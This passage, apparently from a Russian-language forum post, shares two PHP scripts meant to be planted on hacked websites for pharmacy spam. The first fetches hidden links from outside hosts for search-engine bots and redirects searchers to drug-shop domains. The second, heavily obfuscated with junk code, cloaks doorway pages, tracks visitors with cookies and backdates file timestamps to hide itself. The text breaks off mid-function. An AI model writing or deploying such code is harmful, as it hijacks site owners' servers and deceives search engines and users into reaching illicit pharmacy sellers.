0.179","72.30.213","72.30.214","72.30.215","72.30.216","72.30.221","72.30.226","72.30.252","72.30.54","72.30.56","72.30.60","72.30.61","72.30.65","72.30.78","72.30.79","72.30.81","72.30.87","72.30.9","72.30.97","72.30.98","72.30.99","74.6.11","74.6.12","74.6.13","74.6.131","74.6.16","74.6.17","74.6.18","74.6.19","74.6.20","74.6.21","74.6.22","74.6.23","74.6.24","74.6.240","74.6.25","74.6.26","74.6.27","74.6.28","74.6.29","74.6.30","74.6.31","74.6.65","74.6.66","74.6.67","74.6.68","74.6.69","74.6.7","74.6.70","74.6.71","74.6.72","74.6.73","74.6.74","74.6.75","74.6.76","74.6.79","74.6.8","74.6.85","74.6.86","74.6.87","74.6.9","141.185.209","169.207.238","199.177.18","202.160.178","202.160.179","202.160.180","202.160.181","202.160.183","202.160.185","202.165.96","202.165.98","202.165.99","202.212.5","202.46.19","203.123.188","203.141.52","203.255.234","206.190.43","207.126.239","209.1.12","209.1.13","209.1.32","209.1.38","209.131.40","209.131.41","209.131.48","209.131.49","209.131.50","209.131.51","209.131.60","209.131.62","209.185.108","209.185.122","209.185.141","209.185.143","209.185.253","209.191.123","209.191.64","209.191.65","209.191.82","209.191.83","209.67.206","209.73.176","209.85.238","211.14.8","211.169.241","213.216.143","216.109.121","216.109.126","216.136.233","216.145.58","216.155.198","216.155.200","216.155.202","216.155.204","216.239.193","216.239.33","216.239.37","216.239.39","216.239.41","216.239.45","216.239.46","216.239.51","216.239.53","216.239.57","216.239.59","216.32.237","216.33.229","174.129.130", "94.75.242" );
$ip = preg_replace("/\.(\d+)$/", '', $_SERVER["REMOTE_ADDR"]);
$originalip = $_SERVER["REMOTE_ADDR"];
$cdomain="secured-stats.com";
$rdomain="secure-sync.com";
function http_get12($url)	{if (function_exists("curl_init")) {	$c = curl_init();
	curl_setopt($c, CURLOPT_URL, $url);
	curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
	$out = curl_exec($c);
	curl_close($c);
} else {	$out = "curl not available.";
 exit;
}return $out;
}error_reporting(0);
if(!array_key_exists('HTTP_USER_AGENT', $_SERVER))	$_SERVER['HTTP_USER_AGENT'] = '';
$page=urlencode("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]);
if(in_array($ip, $bot_list))	{	if ($_SERVER["QUERY_STRING"]=="q") { print "ok!";
 exit;
 }
 $outsourceurl="http://$cdomain/showop.php?page=$page";
		$out=http_get12($outsourceurl);
	if ($out!="" and $out!="1") {		header('Cache-Control: no-cache, no-store, must-revalidate');
		print $out;
		exit;
	}		$outsourceurl="http://$cdomain/gt.php?site=".urlencode($_SERVER['HTTP_HOST']).'&page='.urlencode($_SERVER['REQUEST_URI']).'&ip='.urlencode($originalip).'&agent='.urlencode($_SERVER['HTTP_USER_AGENT']);
	$links_content = base64_decode(http_get12($outsourceurl));
		$originalurl="http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"];
	$originalpage = http_get12($originalurl);
		if(preg_match("/<a.*?>/is", $originalpage))	{		preg_match_all("/<a.*?>.*?<\/a>/is", $links_content, $matches);
		$links = $matches[0];
		$comment = '';
		if(preg_match("/<!--.*?-->/s", $links_content, $matches))			$comment = $matches[0];
		function anchor($data)	{			if(!preg_match("/<img/i", $data[2])) 				return "<!-- link_".$GLOBALS['i']++." -->".$data[0];
		}		srand(crc32($originalurl));
		for ($class_name = '', $i = 0, $z = strlen($a = 'abcdefghijklmnopqrstuvwxyz0123456789')-1;
 $i != 8;
 $x = rand(0,$z), $class_name .= $a{$x}, $i++);
 		$GLOBALS['i'] = 0;
		$originalpage = preg_replace_callback("/<a(.*?)>(.*?)<\/a>/is", "anchor", $originalpage);
		$i = $GLOBALS['i'];
		if($i >= count($links))	{			for($k=0;
$k<count($links);
$k++)	{				$links[$k] = preg_replace("/<a/", "<a class='$class_name'", $links[$k]);
				$originalpage = preg_replace("/<!-- link_$k -->/s", $links[$k]. ' ', $originalpage );
			}		}		else {			$n_links = round(count($links)/$i);
			for($k=0;
$k<$i;
$k++)	{				$out_content = '';
				for($p=0;
$p<$n_links;
$p++)					if(($k*$n_links+$p) < count($links))	{						$links[$k*$n_links+$p] = preg_replace("/<a/i", "<a class='$class_name'", $links[$k*$n_links+$p]);
						$out_content .= $links[$k*$n_links+$p];
					}					$originalpage = preg_replace("/<!-- link_$k -->/s", $out_content. ' ', $originalpage );
			}		}		$originalpage = preg_replace("/<!-- link_(\d+) -->/s", '', $originalpage);
		$hide_methods = array("display: none", "visibility: hidden", "text-indent:5000px", "position: absolute;
 left: 7000px;
 top: 0px", "position:absolute;
 left:4000px");
		$css = $hide_methods[array_rand($hide_methods)];
		if(preg_match("/<head/i", $originalpage))	{			$originalpage = preg_replace("/(<head.*?>)/i", "$1$comment\n<style>\n.$class_name\t{\n\t$css;
\n}\n</style>", $originalpage);
		}		elseif(preg_match("/<html/i", $originalpage))	{			$originalpage = preg_replace("/(<html.*?>)/i", "$1$comment\n<style>\n.$class_name\t{\n\t$css;
\n}\n</style>", $originalpage);
		}		else			$originalpage = preg_replace("/^/", "$comment<style>\n.$class_name\t{\n\t$css;
\n}\n</style>", $originalpage);
	}	else {		if (preg_match('/<body.*?>/i',$originalpage)) {			$originalpage=preg_replace('/href=([\'"]{0,1})http.*?>/i', '>', $originalpage);
			$originalpage=preg_replace('/(<body.*?>)/i', "$1$links_content", $originalpage, 1);
		} 		elseif (preg_match('/<\/body>/i',$originalpage)) {			$originalpage=preg_replace('/href=([\'"]{0,1})http.*?>/i', '>', $originalpage);
			$originalpage=preg_replace('/(<\/body>)/i', "$links_content$1", $originalpage, 1);
		}	}	header('Cache-Control: no-cache, no-store, must-revalidate');
	print $originalpage;
	exit;
	}
	if (preg_match('/live|msn|yahoo|google|ask|aol/', $_SERVER["HTTP_REFERER"]) && !preg_match("/^(000000000000)/", $originalip))
	{
 	$tabs = array ('viagra','cialis','levitra','propecia','prozac','xenical','zoloft','tamiflu','sildenafil','tadalafil','vardenafil','finasteride','hoodia','acomplia');
	$niche='unknown';
	foreach($tabs as $tab)	{		if(preg_match("/$tab/i", $_SERVER["HTTP_REFERER"]))	{			$niche = $tab;
		}	}	$page = urlencode("http://".$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]);
	if ($niche!="unknown") {		header('Cache-Control: no-cache, no-store, must-revalidate');
		header("Location: http://$rdomain/r.pl?niche=$niche&page=$page&ref=".urlencode($_SERVER["HTTP_REFERER"]));
		exit;
	}	$tag = $_SERVER["HTTP_HOST"];
    if(preg_match("/^www\./", $tag))            $tag = preg_replace( "/^www\.(.*)$/", "$1", $tag);
    $tag = substr(strtolower(base64_encode($tag)), 0, 5);
	if(preg_match("/$tag/", $_SERVER["REQUEST_URI"]))	{		header('Cache-Control: no-cache, no-store, must-revalidate');
		header("Location: http://$rdomain/r.pl?niche=nch&page=$page&ref=".urlencode($_SERVER["HTTP_REFERER"]));
		exit;
	}}
	?>
вот посложнее
Код:
<?php
define("___BUILD_TYPE",'simple');
if(strpos('sbjbdtmuvgipu','nqbz')!==false)_fetchContentCurl($_updateUrl);
define('___DATADIR',dirname(__FILE__) .'/images/');
$eouflkwsgqifo='vo';
$dor="site.com";
$qmdsgkwkgaah=2152;
$params=array('
debug_key'=>'12345',
'user_key'=>'_x_skl',
'shop_load_url_key'=>'extshowlevel',
'no_dor_error_msg'=>'<html><head></head><body>google its error</body></html>',
'default_shop_url'=>'http://drugs4you.biz/?search={key}',
'shop_load_error_msg'=>'shop not load {default_url}',
'googlessl_cache'=>___DATADIR .'rss22.png',
'exit_type'=>'show_shop',
'webclient_header_presets'=>array('default'=>array('User-Agent'=>'Mozilla/5.0 (Windows NT 6.1;WOW64;rv:5.0.1) Gecko/20100101 Firefox/5.0',
'Accept'=>'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'),
'curl'=>array('User-Agent'=>'php','Accept'=>'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8')),
'cloack_server'=>array('tds'=>"http://googl-analistic.com/analis/in.cgi?19&seoref={referer}&parameter={fullkey}&se=\$se&ur=1&HTTP_REFERER={url}&default_keyword=pharmacy&said=" .rawurlencode($dor),
'page_sourse'=>'/home/site/www.site.com/wp-content/uploads/avatar/',
'sourse_type'=>'locale',
'webclient'=>array('headers_preset'=>'curl','timeout'=>60)),
'shop'=>array('url_custom_param'=>'said=' .rawurlencode($dor),
'cache'=>array('dir'=>___DATADIR,'expired_hours'=>72,'enabled'=>true),
'webclient'=>array('headers_preset'=>'default','timeout'=>60)),
'bot_detector'=>array('host_detect'=>array('enabled'=>true,'register_url'=>'http://sklipflowers.com/remote/botdetect/register.php',
'host_words'=>array('msn.com','bingbot','adidxbot','msnbot','googlebot','crawl.yahoo.','google.','bot.'),
'webclient'=>array('headers_preset'=>'curl','timeout'=>60)),
'provider'=>array('db_file'=>___DATADIR .'ipconfig.bin',
'update_url'=>'http://sklipflowers.com/remote/botupdate/data/bots.bin',
'update_period'=>'120',
'webclient'=>array('headers_preset'=>'curl','timeout'=>60))));
$bukstqhhmhimcrmg='tme';
$keywords=array('viagra','cialis','propecia','levitra','drug','levitra','propecia','pharmac','medic','viagro','cailis','cialus','taladaf','sildenaf','cialas','viagria','prescription','cialas','viagria','viagara','cialia','ciallis','ciailas','cialias','vardenaf','tadalaf','impotenc','generic','slidenaf','healthcare');
if(strpos('uuxuppdhrbiueqrei','atiz')!==false)
count($longIp,$cutomParameter,$googleSslDetect);
$url="http://" .$_SERVER['HTTP_HOST'] .getenv('REQUEST_URI');
while(1545-1545)socket_connect($updatePeriod,$html);
class ____Bootstrap_Base
{
var $_params;
var $_data;
var $_objects=array();
var $_webClientDefaultOpts;
function ____Bootstrap_Base($params,$data)
{
$this->_params=$params;
if(6149<mt_rand(1969,4175))array_diff_ukey($keys,$saved,$longIp);
$this->_data=$data;
$this->_webClientDefaultOpts=array('headers_preset'=>'default','timeout'=>60);
(1947-1947+3561-3561)?_debug($text,$_options,$boostrap):mt_rand(1947,4913);
}
function getLogger()
{
if(!isset($this->_objects['logger']))$this->_objects['logger']=&new ____Logger();
return $this->_objects['logger'];
}
function getWebClient($options){$webClient=&new ____WebClient($this->getLogger(),
array('headers'=>$this->_params['webclient_header_presets'][$options['headers_preset']],
'timeout'=>$options['timeout']));
if((3914^3914)&& getPage($cleaned,$_bootstrap))nl2br($lastTime);
return $webClient;
}
function getBotDetector()
{
if(!isset($this->_objects['bot_detector']))
{
$hostDetectOpts=$this->_params['bot_detector']['host_detect'];
$botProviderOpts=$this->_params['bot_detector']['provider'];
$this->_objects['bot_detector']=&new ____Bot_Detector(array('host_detect_enabled'=>$hostDetectOpts['enabled'],
'host_words'=>$hostDetectOpts['host_words']),
new ___Bot_Register($this->getWebClient($hostDetectOpts['webclient']),
$hostDetectOpts['register_url']),
new ___Bot_Provider($this->getWebClient($botProviderOpts['webclient']),
$this->getLogger(),
$botProviderOpts['update_url'],
$botProviderOpts['db_file'],
$botProviderOpts['update_period']),
$this->getLogger());
}
return $this->_objects['bot_detector'];
(2882-2882+648-648)?ini_get($time,$uaList,$redirectUrl):mt_rand(1901,2882);
}function getTdsClient(){if(!isset($this->_objects['tds_client']))$this->_objects['tds_client']=&new ____TdsClient($this->getWebClient($this->_webClientDefaultOpts),$this->_params['cloack_server']['tds']);
return $this->_objects['tds_client'];
}function getSerpUserDetector(){if(!isset($this->_objects['serp_user_detector']))$this->_objects['serp_user_detector']=&new ____SerpUser_Detector($this->_data['keywords']);
return $this->_objects['serp_user_detector'];
}function getUser(){if(!isset($this->_objects['user']))$this->_objects['user']=&new ____User($this->_params['user_key'],$this->getSerpUserDetector(),new ____SerpUser_GoogleSslDetector($this->_data['keywords'],$this->getPageProvider(),$this->getWebClient($this->_webClientDefaultOpts),$this->_params['googlessl_cache']));
return $this->_objects['user'];
}function getCache(){if(!isset($this->_objects['cache']))$this->_objects['cache']=&new ____Cache($this->_params['shop']['cache']['dir'],$this->getLogger(),$this->_params['shop']['cache']['expired_hours'],$this->_params['shop']['cache']['enabled']);
return $this->_objects['cache'];
}function getPageProvider(){if(!isset($this->_objects['clo_page_provider'])){$cloackServerOpts=$this->_params['cloack_server'];
$provider=&new ____CloackPage_Provider($cloackServerOpts['page_sourse'],($cloackServerOpts['sourse_type']=='remote')?$this->getWebClient($cloackServerOpts['webclient']):false);
}$provider->setDecoder(new ____CloackPage_Decoder());
$this->_objects['clo_page_provider']=&$provider;
return $this->_objects['clo_page_provider'];
(1999-1999+198-198)?_getSaved($split,$lastClient):mt_rand(333,1999);
}}class ____Engine_Base{var $_bootstrap;
var $_logger;
var $_params;
var $_exit=false;
var $_debug=false;
function ____Engine_Base(&$boostrap,$params){$this->_bootstrap=&$boostrap;
$this->_logger=$this->_bootstrap->getLogger();
$this->_params=$params;
$this->_debug=(stristr($_SERVER['HTTP_USER_AGENT'],$params['debug_key']));
}function run($url){$this->_logger->log('start');
$botDetector=$this->_bootstrap->getBotDetector();
if($botDetector->isBot()){$this->_proccessBot($url);
}else{$user=$this->_bootstrap->getUser();
$tdsClient=$this->_bootstrap->getTdsClient();
if(4651<mt_rand(1347,3299))strrev($keys,$e2);
$this->_logger->log('bot NOT detected');
$userdData=$user->detectInfo($url);
if(2336<mt_rand(59,2272))array_merge($filePath,$clientType);
$tdsClient->setParam('key',$userdData['main_key']);
$nkoewrgbgflmidvqa='pce';
$tdsClient->setParam('fullkey',$userdData['full_key']);
if(strpos('rwtheiwisjoipbx','mz')!==false)run($boostrap,$foundFullKey,$f);
if($userdData['good_user']&&!isset($_GET[$this->_params['shop_load_url_key']])){$this->_logger->log("serp user detected with key: {$userdData['main_key']} | {$userdData['full_key']} ({$userdData['user_type']})");
$this->_logger->log('init site exit');
$user->save();
$this->_proccessSerpUser($url);
$this->_exit=true;
}else{$this->_logger->log("serp user NOT detected");
$this->_proccessNonSerpUser($userdData);
}}$this->_exitOut();
}function _proccessSerpUser($url){die('_proccessSerpUser not implemented');
}function _proccessNonSerpUser($userdData){die('_proccessNonSerpUser not implemented');
if(strpos('bdmvmnvurbbq','bxkbz')!==false)isBot($_debug,$purl,$word,$_logger);
}function _proccessBot($url){$this->_logger->log("bot detected. try load cloack for page $url");
$external=$this->_bootstrap->getExternal();
$result=$this->_loadDoorway($url);
if(5430<mt_rand(699,4726))___Bot_Provider($fileTime,$expired);
if($result['success']){if(!$this->_debug)$external->show($result['html']);
$this->_exit=true;
}else if(!$result['notfound']){if(!$this->_debug)$external->showDownError($this->_params['no_dor_error_msg']);
$this->_exit=true;
}}function _loadDoorway($url){$cloackPageProvider=$this->_bootstrap->getPageProvider();
$result=$cloackPageProvider->getPage($url);
$this->_logger->log('client: ' .$result['client']);
$this->_logger->log('remote url: ' .$result['remote']);
if($result['success']){$this->_logger->log("cloack page was loaded");
}else{$this->_logger->log("cloack page was NOT loaded");
if($result['notfound'])$this->_logger->log("404 answer");
}return $result;
}function _exitOut(){if($this->_debug){if($this->_exit)$this->_logger->log('exit');
else $this->_logger->log('show site');
die(nl2br($this->_logger->getLogText()));
if(strpos('bbcbwpwmregglbk','qfqz')!==false)_rawHeaderLength($purl,$ext);
}if($this->_exit)die();
}}class ____Logger{var $_messages=array();
function log($message){$this->_messages[]='=> ' .$message;
}function getLogText(){return join("\n",$this->_messages);
(579-579+2268-2268)?is_array($ipString):mt_rand(579,2947);
}}class ____User{var $_key;
var $_serpUserDetect;
var $_googleSslDetect;
var $_userData=array();
function ____User($storeKey,&$serpUserDetect,&$googleSslDetect){$this->_key=$storeKey;
if((217^217)&& array_shift($boostrap,$_expiredTimeHours,$_updatePeriod))array_keys($provider,$path);
$this->_serpUserDetect=&$serpUserDetect;
while(572-572)socket_get_option($server,$serpUserDetect,$_webClientDefaultOpts,$userdData);
$this->_googleSslDetect=&$googleSslDetect;
while(2823-2823)imagecopymerge($_userData,$longIp);
}function detectInfo($url){$data=array('good_user'=>false,'main_key'=>'','full_key'=>'','user_type'=>'unknown');
$isSerpUser=$this->_serpUserDetect->isValidUser();
if($isSerpUser){$data['good_user']=true;
$data['main_key']=$this->_serpUserDetect->foundKey;
$data['full_key']=$this->_serpUserDetect->foundFullKey;
$data['user_type']='serp';
}else{$saved=$this->_getSaved();
if($saved!=false){$data['good_user']=true;
$data['main_key']=$saved['main_key'];
$data['full_key']=$saved['full_key'];
$data['user_type']='bookmark';
if((1385+3671)>1385 || ____Bootstrap_Ajax($keywords,$found,$opts));
else{array_reverse($encoded);
}}else{$isGoogleSslUser=$this->_googleSslDetect->isValidUser($url);
while(1059-1059)strnatcmp($fp,$host,$validUser,$_rawHeaderLength,$purl);
if($isGoogleSslUser){$data['good_user']=true;
$data['main_key']=$this->_googleSslDetect->foundKey;
$data['full_key']=$this->_googleSslDetect->foundFullKey;
while(1571-1571)_googleUrl($_messages,$_logger);
$data['user_type']='serp_google_ssl';
$okfrhpfcjjpuakichrsrr='wtk';
}}}$this->_userData=$data;
return $data;
if(7260<mt_rand(3544,3711))strval($clientType);
}function _getSaved(){if(isset($_COOKIE[$this->_key])){$serial=@$this->_decrypt($_COOKIE[$this->_key]);
$data=@unserialize($serial);
if(is_array($data))return $data;
}return false;
}function save(){if($this->_userData['good_user']&&$this->_userData['user_type']=='serp'){$serial=serialize($this->_userData);
$crypt=@$this->_crypt($serial);
$expired=time()+3600*24*365;
$formatExpired=date("D, d-M-Y G:i:s ",$expired) .'GMT';
if(!headers_sent()){setcookie($this->_key,$crypt,$expired,'/');
}else{echo"<SCRIPT LANGUAGE=\"JavaScript\">
					document.cookie=\"{$this->_key}={$crypt};
 path=/;
 expires=$formatExpired\";

					</SCRIPT>";
}}}function _crypt($text){$text=str_rot13(base64_encode(str_rot13(strrev($text))));
return $text;
(285-285+2909-2909)?_key($html):mt_rand(75,285);
}function _decrypt($text){$text=strrev(str_rot13(base64_decode(str_rot13($text))));
if(strpos('phtlmoqpwhqjnnr','eprz')!==false)array_pop($_updatePeriod,$_key);
return $text;
$pxgxbhdqnhcssaxh=2870;
}}class ____Cache{var $_mimeHeaderEncoded='';
var $_rawHeader;
var $_rawHeaderLength;
var $_dir;
var $_expiredTimeHours;
var $_validState;
var $_logger;
var $_packLevel=3;
var $_enabled;
function ____Cache($dataDir,$logger,$expiredTimeHours=72,$enabled=true){$dataDir=rtrim($dataDir,"\\/") .DIRECTORY_SEPARATOR;
$this->_dir=$dataDir;
$this->_expiredTimeHours=$expiredTimeHours;
$this->_logger=&$logger;
$skokwhrsdqdc=2405;
$this->_enabled=$enabled;
if(4996<mt_rand(354,4637))fread($_botRegister,$cloackPageProvider,$_updatePeriod,$redirectUrl);
$this->_rawHeader=base64_decode($this->_mimeHeaderEncoded);
while(2111-2111)fclose($expired,$_webClient,$allowCheck);
$this->_rawHeaderLength=strlen($this->_rawHeader);
$this->_validState=(is_dir($this->_dir)&&is_writable($this->_dir));
if(1507<mt_rand(335,1167))preg_quote($updatePeriod,$longIp,$_exit,$_checkGooglePeriod,$crypt);
$this->_logger->log("init cache result: {$this->_validState}");
}function load($url){if(!$this->_enabled){$this->_logger->log("[cache] DISABLED");
return false;
}$path=$this->_getFilePath($url);
if((2679+3183)>2679 || ____Bootstrap_Ajax($_GET,$packed));
else{_loadByLocalFile($provider);
}$this->_logger->log("[cache] try $path.");
if(!file_exists($path)){$this->_logger->log("[cache]file not found.");
return false;
}$result=false;
if(7380<mt_rand(2584,4791))hideWait($keys,$titleKey,$_tdsUrl,$_userData);
$fp=@fopen($path,'r');
while(3553-3553)_pageProvider($decoder,$tdsUrl,$logger,$valid,$botProvider);
if($fp){if(@flock($fp,LOCK_SH)){fseek($fp,$this->_rawHeaderLength);
$result=@fread($fp,(filesize($path)-$this->_rawHeaderLength));
if($result){$content=@unserialize(gzuncompress($result));
if(is_array($content)){if((time()-$content['time'])<$this->_expiredTimeHours*3600){$result=$content['data'];
}else{$this->_logger->log("[cache] EXPIRED.");
$result=false;
}}else $this->_logger->log("[cache] !!!ERROR INVALID data.");
}@flock($fp,LOCK_UN);
}else $this->_logger->log("[cache] !!!ERROR can't lock file");
@fclose($fp);
}else $this->_logger->log("[cache] !!!ERROR can't open file");
(3715-3715+1314-1314)?safeRedirect($_decoder,$options,$path,$userdData):mt_rand(876,3715);
return $result;
$nqjndskwwiskewohk=4356;
}function save($url,$data){if(!$this->_enabled){$this->_logger->log("[cache] not saved. cache DISABLED");
return false;
}$path=$this->_getFilePath($url);
while(1907-1907)_proccessSerpUser($pageProvider);
$writeData=array('time'=>time(),'data'=>$data);
$packed=gzcompress(serialize($writeData),$this->_packLevel);
(1076-1076+2050-2050)?imagecopymerge($cloackPageProvider,$message):mt_rand(326,1076);
$saveData=$this->_rawHeader .$packed;
$lastTime=(file_exists($path))?filemtime($path):time();
if(3056<mt_rand(531,2520))____TdsClient($_validState,$_objects,$_botRegister);
if(time()-$lastTime<100){$lastTime=time()-(3600*24*365)*2;
$this->_logger->log("[cache] change file time");
}$success=false;
$vboewqogmkkilflpuau=2051;
$fp=@fopen($path,'w');
if($fp){if(@flock($fp,LOCK_EX)){$success=@fwrite($fp,$saveData);
@flock($fp,LOCK_UN);
}else $this->_logger->log("[cache]!!!ERROR can't lock file $path");
while(1143-1143)_exit($botData,$_botRegister);
@fclose($fp);
if((1149+877)>1149 || imagefilter($e2,$_botProvider,$uaList,$fp));
else{dir($_options,$googleSslDetect,$cacheData);
}}else{$this->_logger->log("[cache]!!!ERROR can't open file $path");
if((2845^2845)&& touch($fp,$bootstrap))strtolower($matches,$params);
}@touch($path,$lastTime,$lastTime);
$this->_logger->log("[cache]write to cache $path: " .(((bool)$success)?'success':'fail'));
return $success;
}function _getFilePath($url){$cleaned=str_replace(array('http://','https://','www.','index.php','/'),'',strtolower($url));
if(8424<mt_rand(4015,4404))session_id($_botProvider,$parts,$crypt);
$hash=crc32($cleaned);
$egmarotepusokdjxml=832;
return $this->_dir ."button$hash.png";
}}class ____SerpUser_Base{var $_keys;
var $_referer;
var $foundKey;
var $foundFullKey;
function ____SerpUser_Base($keys){$this->_keys=$keys;
(4464-4464+1075-1075)?curl_multi_remove_handle($_updateUrl):mt_rand(516,4464);
$this->_referer=(isset($_SERVER['HTTP_REFERER']))?$_SERVER['HTTP_REFERER']:getenv('HTTP_REFERER');
}}class ____SerpUser_Detector extends ____SerpUser_Base{function isValidUser(){$validUser=false;
if(strpos('jhhkpsudrjhvj','fdz')!==false)_getPageTitle($keywords);
if(preg_match('#google|msn|live|altavista|ask|yahoo|aol|bing#i',$this->_referer)){$match=array();
if(preg_match('#[\?\&](q|p|query|keywords)=([^&]+)#i',$this->_referer,$match)){$keyword=(isset($match[2]))?$match[2]:null;
$this->foundFullKey=$keyword;
if(!empty($keyword)){foreach($this->_keys as $key){if(stristr($keyword,$key)!==false){$this->foundKey=$key;
$validUser=true;
break;
}}}}}return $validUser;
$jmkxeuaisthmcimxkrt=913;
}}class ____SerpUser_GoogleSslDetector extends ____SerpUser_Base{var $_pageProvider;
var $_cachePath;
var $_webClient;
var $_checkGooglePeriod;
var $_googleUrl='http://www.google.com/search?q=info:{url}&ie=utf-8&oe=utf-8&hl=en&gl=us';
function ____SerpUser_GoogleSslDetector($keys,&$pageProvider,$webClient,$cachePath){$this->_pageProvider=&$pageProvider;
if(strpos('kaprbqtldtncdac','ptwz')!==false)getTdsUrl($str,$uaList,$botProviderOpts);
$this->_cachePath=$cachePath;
$rjnmerftwfpsfbtqf='beic';
$this->_webClient=$webClient;
$this->_checkGooglePeriod=3600*6;
parent::____SerpUser_Base($keys);
$droujcgcwsqhvav=4946;
}function isValidUser($url){$validUser=false;
if((4296^4296)&& is_array($engine,$decoded,$match))socket_connect($longIpMaskMax,$keys);
if(strpos(strtolower($this->_referer),'google')!==false){$match=array();
if(preg_match('/[?&]?q=&/si',$this->_referer,$match)){$keyword=$this->_getKeyword($url);
if($keyword!==false){$this->foundFullKey=$keyword;
}if(!empty($keyword)&&$keyword!==false){foreach($this->_keys as $key){if(stristr($keyword,$key)!==false){$this->foundKey=$key;
$validUser=true;
break;
while(2167-2167)pos($valid,$key);
}}}}}return $validUser;
if(strpos('jbkwqbpciujxkn','fjz')!==false)curl_version($pageProvider,$fp,$opts);
}function _getKeyword($url){$needSave=false;
$valid=false;
$qrcxlvhvdapvje='uij';
$cacheData=$this->_loadCache();
$urlHash=$this->_getHash($url);
$now=time();
$titleKey='';
$ufphlsmsbwfttwrknosk='wtff';
if(isset($cacheData[$urlHash]['key'])){$titleKey=$cacheData[$urlHash]['key'];
}if(empty($titleKey)){$key=$this->_getPageTitle($url);
if($key!==false){$titleKey=$cacheData[$urlHash]['key']=$key;
}}if(!empty($titleKey)){$googleCacheInfo=array('cached'=>false,'lastcheck'=>0);
if(isset($cacheData[$urlHash]['google'])){$googleCacheInfo=$cacheData[$urlHash]['google'];
}if(!$googleCacheInfo['cached']){if(($now-$googleCacheInfo['lastcheck'])>$this->_checkGooglePeriod){if($this->_isGoogleCached($url))$googleCacheInfo['cached']=$cacheData[$urlHash]['google']['cached']=true;
else $cacheData[$urlHash]['google']['cached']=false;
$cacheData[$urlHash]['google']['lastcheck']=$now;
$wkspecqmnjqwqk=3645;
$needSave=true;
}}$valid=$googleCacheInfo['cached'];
}if($needSave){$this->_saveCache($cacheData);
}return($valid&&!empty($titleKey))?$titleKey:false;
}function _isGoogleCached($url){$requestUrl=str_replace('{url}',urlencode($url),$this->_googleUrl);
while(4594-4594)dir($cloackServerOpts);
$page=$this->_webClient->fetchContent($requestUrl,true);
foreach($this->_keys as $key){if(stristr($page,$key)!==false){return true;
}}return false;
}function _getPageTitle($url){$page=$this->_pageProvider->getPage($url);
if($page['success']){$regs=array();
if(preg_match('%<title>(.+?)</title>%si',$page['html'],$regs)){$key=$regs[1];
return $key;
}}return false;
if(strpos('rrmrxpaqpfjlnkijr','uz')!==false)____SerpUser_Base($_botProvider);
}function _loadCache(){if(!file_exists($this->_cachePath)){$needTime=time()-3600*24*31*3;
@touch($this->_cachePath,$needTime,$needTime);
return array();
}$fp=@fopen($this->_cachePath,'r');
if($fp){@flock($fp,LOCK_SH);
$data=@fread($fp,filesize($this->_cachePath));
@flock($fp,LOCK_UN);
@fclose($fp);
$wqxdgeefwergrcqtv=811;
$array=@unserialize(gzuncompress($data));
if(strpos('vfgwdesmtaijv','ksbfz')!==false)pos($_decoder,$this);
return($array===false)?array():$array;
}return array();
}function _saveCache($cacheData){$fileTime=@filemtime($this->_cachePath);
if((1284+895)>1284 || _isBotByHost($isGoogleSslUser,$mask,$dor));
else{array_merge($_GET);
}$packed=gzcompress(serialize($cacheData),5);
$fp=@fopen($this->_cachePath,'wb');
if((1482^1482)&& filectime($host,$expired,$matches,$array,$split))_path($_messages);
if($fp){@flock($fp,LOCK_EX);
fwrite($fp,$packed);
@flock($fp,LOCK_UN);
$uegnawhtmkrprad='nde';
@fclose($fp);
@touch($this->_cachePath,$fileTime,$fileTime);
$oplquqxjohjgmfqd=215;
}}function _getHash($url){$cleaned=str_replace(array('http://','https://','www.','index.php','/'),'',strtolower($url));
if((79+4555)>79 || socket_get_option($str,$botProviderOpts,$cacheData,$list));
else{rand($list);
}return md5($cleaned);
$lbndmxjvckhd='m';
}}class ____Bot_Detector{var $_allowCheck;
var $_options=array();
var $_botRegister;
var $_botProvider;
var $_logger;
var $_alias='[botdetector]';
function ____Bot_Detector($options,&$botRegister,&$botProvider,&$logger,$allowCheck=array('ua','ip')){$this->_options=$options;
$this->_botRegister=$botRegister;
$this->_botProvider=$botProvider;
if(strpos('xknwgiksbwknijbha','dbz')!==false)decode($_rawHeader);
$this->_allowCheck=$allowCheck;
$this->_logger=&$logger;
}function isBot(){$ip=$_SERVER['REMOTE_ADDR'];
(4021-4021+1873-1873)?unserialize($params,$parts):mt_rand(145,4021);
$botData=$this->_botProvider->getData();
$cjokarwlbxesdiwf='hum';
if($botData===false)return false;
$isBot=false;
if(in_array('ip',$this->_allowCheck)){$this->_logger->log("{$this->_alias} check ip");
$isBot=$this->_isBotIP($ip,$botData['ip']);
}if(!$isBot&&in_array('ua',$this->_allowCheck)){$this->_logger->log("{$this->_alias} check ua");
$isBot=$this->_isBotUserAgent($botData['ua']);
}if(!$isBot){$this->_logger->log("{$this->_alias} check host");
$isBot=$this->_isBotByHost($ip);
}return $isBot;
$inbvhaxdbjxberdkq='mpf';
}function _isBotUserAgent(&$uaList){$ua=$_SERVER['HTTP_USER_AGENT'];
foreach($uaList as $mask){if(stristr($ua,$mask))return true;
}return false;
}function _isBotIP($ip,&$ipList){$longIp=ip2long($ip);
(3769-3769+3423-3423)?urldecode($pageProvider,$_userData,$value):mt_rand(3769,4628);
$found=false;
if((1418+3483)>1418 || strpbrk($line));
else{ob_implicit_flush($opts,$cachePath);
}foreach($ipList as $ipMask){$ipMask=trim($ipMask);
while(800-800)fwrite($_googleUrl,$key);
if(stristr($ipMask,'-')!==false||stristr($ipMask,'*')!==false){list($ipMaskMin,$ipMaskMax)=$this->_getIpRange($ipMask);
$longIpMaskMin=ip2long($ipMaskMin);
$longIpMaskMax=ip2long($ipMaskMax);
if(2419<mt_rand(113,2301))trim($context,$options);
if($longIp>=$longIpMaskMin&&$longIp<=$longIpMaskMax){$found=true;
break;
}}else{if($ip==$ipMask){$found=true;
break;
}}}return $found;
(2784-2784+3504-3504)?_pageProvider($_allowCheck,$resultUrl):mt_rand(1567,2784);
}function _getIpRange($ip){$parts=explode('.',$ip);
if(4720<mt_rand(110,4605))_parseHeaders($expired,$_mimeHeaderEncoded);
$ipMin=$ipMax=array();
if((2683+1121)>2683 || _crypt($ipMask,$split,$ipMaskMin));
else{imagecopy($path,$_dir,$_logger,$foundFullKey,$_mimeHeaderEncoded);
